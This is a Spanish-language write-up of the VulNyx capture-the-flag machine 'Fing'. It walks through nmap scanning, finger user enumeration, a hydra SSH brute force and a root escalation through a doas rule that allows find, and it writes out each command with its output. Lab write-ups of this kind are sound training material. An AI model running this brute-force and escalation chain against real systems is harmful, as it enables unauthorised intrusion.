VulNyx - Fing
- Finger
- SSH Brute Force
- Abusing Doas
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.16
PORT STATE SERVICE
22/tcp open ssh
79/tcp open finger
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,79,80 192.168.1.16
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Whatweb
❯ whatweb -v 192.168.1.16
WhatWeb report for http://192.168.1.16
Status : 200 OK
Title : Apache2 Debian Default Page: It works
IP : 192.168.1.15
Country : RESERVED, ZZ
Summary : Apache[2.4.56], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)]
Para enumerar el puerto 79 he usado esta herramienta en perl finger-user-enum.pl
y he encontrado estos dos usuarios.
❯ ./finger-user-enum.pl -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 192.168.1.16
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Worker Processes ......... 5
Usernames file ........... /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Target count ............. 1
Username count ........... 8295455
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
######## Scan started at Sun Apr 23 16:58:20 #########
root@192.168.1.16: Login: root Name: root..Directory: /root Shell: /bin/bash
adam@192.168.1.16: Login: adam Name: adam..Directory: /home/adam Shell: /bin/bash
Con hydra realizo fuerza bruta al usuario adam.
hydra -t 50 -l adam -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.16 -V -f -I
[22][ssh] host: 192.168.1.16 login: adam password: p*****n
Me conecto al sistema como usuario Adam.
❯ ssh adam@192.168.1.16
adam@192.168.1.16's password:
adam@fing:~$ id
uid=1000(adam) gid=1000(adam) grupos=1000(adam)
Busco en todo el sistema los binarios que tengan permisos SUID
y encuentro el binario doas. El binario doas es una alternativa a sudo y se puede configurar para otorgar privilegios a usuarios específicos.
adam@fing:~$ find / -perm -4000 2>/dev/null
/usr/bin/doas
Busco el archivo doas.conf
que és el encargado de dar permisos a otros usuarios.
find / -type f -name "doas.conf" 2>/dev/null
/etc/doas.conf
fichero doas.conf
como adam puedo lanzar find como root sin usar contraseña.
cat /etc/doas.conf
permit nopass keepenv adam as root cmd /usr/bin/find
Si uso doas con el usuario adam no puedo ver el directorio de root.
adam@fing:~$ doas -u adam /usr/bin/find /root
doas: Operation not permitted
Pero si uso doas con el usuario root si puedo ver el directorio de root.
adam@fing:~$ doas -u root /usr/bin/find /root
/root
/root/.profile
/root/.bash_history
/root/root.txt
/root/.bashrc
/root/.local
/root/.local/share
/root/.local/share/nano
Para obtener el root he usado el recurso gtfobins.
Obtengo el root de la siguiente forma.
adam@fing:~$ doas -u root /usr/bin/find . -exec /bin/bash -p \; -quit
root@fing:/home/adam# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Fing.
Saludos!